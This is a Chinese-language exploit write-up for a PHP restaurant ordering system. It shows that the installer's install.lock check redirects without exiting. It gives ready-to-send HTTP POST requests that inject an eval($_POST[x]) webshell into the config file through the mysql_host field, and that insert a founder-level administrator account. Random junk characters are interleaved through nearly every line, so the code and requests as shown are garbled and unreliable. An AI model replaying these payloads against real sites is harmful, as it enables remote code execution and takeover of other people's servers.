问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
/ V* V$ X! a; t) w" m7 ? _$ t
; Y0 s0 Z( W% p) t<?php3 Y1 o" @ O2 {: Z! D6 M# a
if(file_exists("../install.lock"))2 B/ ~! m) t, z
{
! N( e% W* U1 O4 _* I1 f header("Location: ../");//没有退出
3 ?, d8 t6 H5 Z7 |; F}$ V8 o6 i# ], c. I. G
+ U* R `# u7 j' h' B4 ], H7 q
//echo 'tst';exit;; [! ^/ j( ?5 `
require_once("init.php");
/ ?' t1 y `# yif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ S* {4 Z% T+ T8 ]; m{- ] \& N0 `5 a" t& U5 q# g" P5 t
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。- p1 ^% [% ]' u3 L2 u( T% z/ O/ \7 y( k. e
$ ^- {9 J! ~3 n
1、getshell(很危险)* y; y% G2 J7 ~
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
$ l v1 g/ j' G9 }6 \2 o{* L" D% p* Q" @% {% U& S
$smarty->assign("step",1);
: u5 Z1 q' X1 C, m$ r o4 I$smarty->display("index.html");; i& p5 p; c7 C+ ~. `
}elseif($_REQUEST['step']==2)4 F) c8 }6 m! y, P0 \: @
{
, m% R$ s' [; }. w, Z2 t5 m! M $mysql_host=trim($_POST['mysql_host']);
; W. m4 M6 T5 H0 t6 A# D9 b, r $mysql_user=trim($_POST['mysql_user']);7 e2 K. d2 U+ m! s* V H, h
$mysql_pwd=trim($_POST['mysql_pwd']);
3 E( W3 p x6 _/ U$ [7 w $mysql_db=trim($_POST['mysql_db']);' ?$ t! U0 x5 c' T
$tblpre=trim($_POST['tblpre']);4 T' ]1 `0 X! R d+ W
$domain==trim($_POST['domain']);
& p3 s! M0 V+ X+ q $str="<?php \r\n";# N3 b9 N0 F: K. Q N+ p# C
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
3 o, `/ M5 S) s, R- ^5 B $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
, f- I, q8 Z- r. F5 o5 {! n( W' M $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
8 L! _9 \* H' v r* }, p' N& f $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";! ]- S0 N! h' n2 r m1 i
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
5 c2 H) M, h( K6 h! K5 W $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";7 H# g) J' u6 h9 [! H5 e
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
; X0 s9 q8 @9 P9 [, w $str.='define("SKINS","default");'."\r\n";
( ?( S8 z2 h* | $str.='?>';
3 w& Q: k! L. w% g4 X5 |0 \% k1 v file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
) A* Z9 A% ^, B$ ?; H上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
) O8 I- A3 y8 P: S4 `- |# f+ WPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
6 l# v% [/ `1 a$ ]$ dHost: 192.168.80.129
- D3 x9 ~; g y/ A. fUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.09 B) U- u; h2 m. O
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
( H7 ]; M7 z& Q1 F- P3 c: F! C2 tAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.36 f+ @7 z' v1 Z5 x T
Accept-Encoding: gzip, deflate c2 {8 y. ^0 ?$ N) C
Referer: http://192.168.80.129/canting/install/index.php?step=1! ^ ^& z% O5 y& r) N4 M# f
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc423 m9 N' j7 H& P* C( W
Content-Type: application/x-www-form-urlencoded; q! B0 Q4 z9 b3 Q( B5 M3 \
Content-Length: 1262 l3 u/ N" f2 a" \0 g
, L: l/ z( ^: Smysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
. H: N$ N. Q& n6 x8 W* B但是这个方法很危险,将导致网站无法运行。
; ^0 n$ O4 F* c3 o0 M5 \3 _+ c. D" M5 F
2、直接添加管理员! f k8 S! P& C) h7 \
) X+ o0 k1 D, k) {elseif($_REQUEST['step']==5)
( M& B" p* r6 B1 d" d7 \{& `: U& H3 M+ k' O
if($_POST); T) K: e7 ?4 C; v/ _
{ require_once("../config/config.inc.php");2 \3 }5 f: A( Z( V3 a. u
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);0 |0 S( J% I8 J4 v, V- l
mysql_select_db(MYSQL_DB,$link);
2 M- n% K, J# ^) }# P mysql_query("SET NAMES ".MYSQL_CHARSET );
( p3 i) b1 N, j. z% p( L. n mysql_query("SET sql_mode=''");6 k$ X' j" \# k/ ~' W) O& T
) `$ h0 W; q' J $adminname=trim($_POST['adminname']);$ S& P, F+ Q; I
$pwd1=trim($_POST['pwd1']);/ U3 W7 o5 J8 D& m+ T
$pwd2=trim($_POST['pwd2']);
, q$ e! B' j7 `# | if(empty($adminname))
, N! D8 k7 ?& c. I. G, m# b: e c4 ~ {
9 u: b; A. g: b# V" u
7 h% }! o" u: o3 y( M0 I: v1 v9 h3 p( r echo "<script>alert('管理员不能为空');history.go(-1);</script>";) q# u/ l0 l; Y. ^
exit();6 W3 I, F2 d! i
}
9 i: p$ n2 v7 X0 V if(($pwd1!=$pwd2) or empty($pwd1)); H6 x, v# {6 a3 {
{
0 k6 H: m. H# ^1 u echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出; F# [: |2 F% |5 `! m' } T
}5 ]# e' k& g8 l" g2 c1 A8 U
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员, i3 u' _3 N6 ~4 O2 w: E
}
, K$ a+ ]; C9 _5 i. J( \; o这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:. f/ U, b2 D5 \: v+ I* k
POST /canting/install/index.php?m=index&step=5 HTTP/1.16 l$ K6 R7 D/ J5 e7 H. U
Host: 192.168.80.129
2 X5 b" t* C* CUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
, M. T$ b, @! T( ?4 a" ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
; m5 [: w9 O3 e3 iAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
+ h( t* o% K( p8 OAccept-Encoding: gzip, deflate; O0 S) v6 h4 |5 N% r3 v' t
Referer: http://www.2cto.com /canting/install/index.php?step=1
$ l9 p7 b+ Z; q. ^4 J9 v9 ~Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
1 {. J; }7 \- O! A9 H& [% k1 dContent-Type: application/x-www-form-urlencoded
1 a% [4 c: K2 r8 sContent-Length: 46) A& a& D6 Y3 q
6 R- H0 u0 m7 C
adminname=qingshen&pwd1=qingshen&pwd2=qingshen1 B4 Q/ W. R5 h9 t
|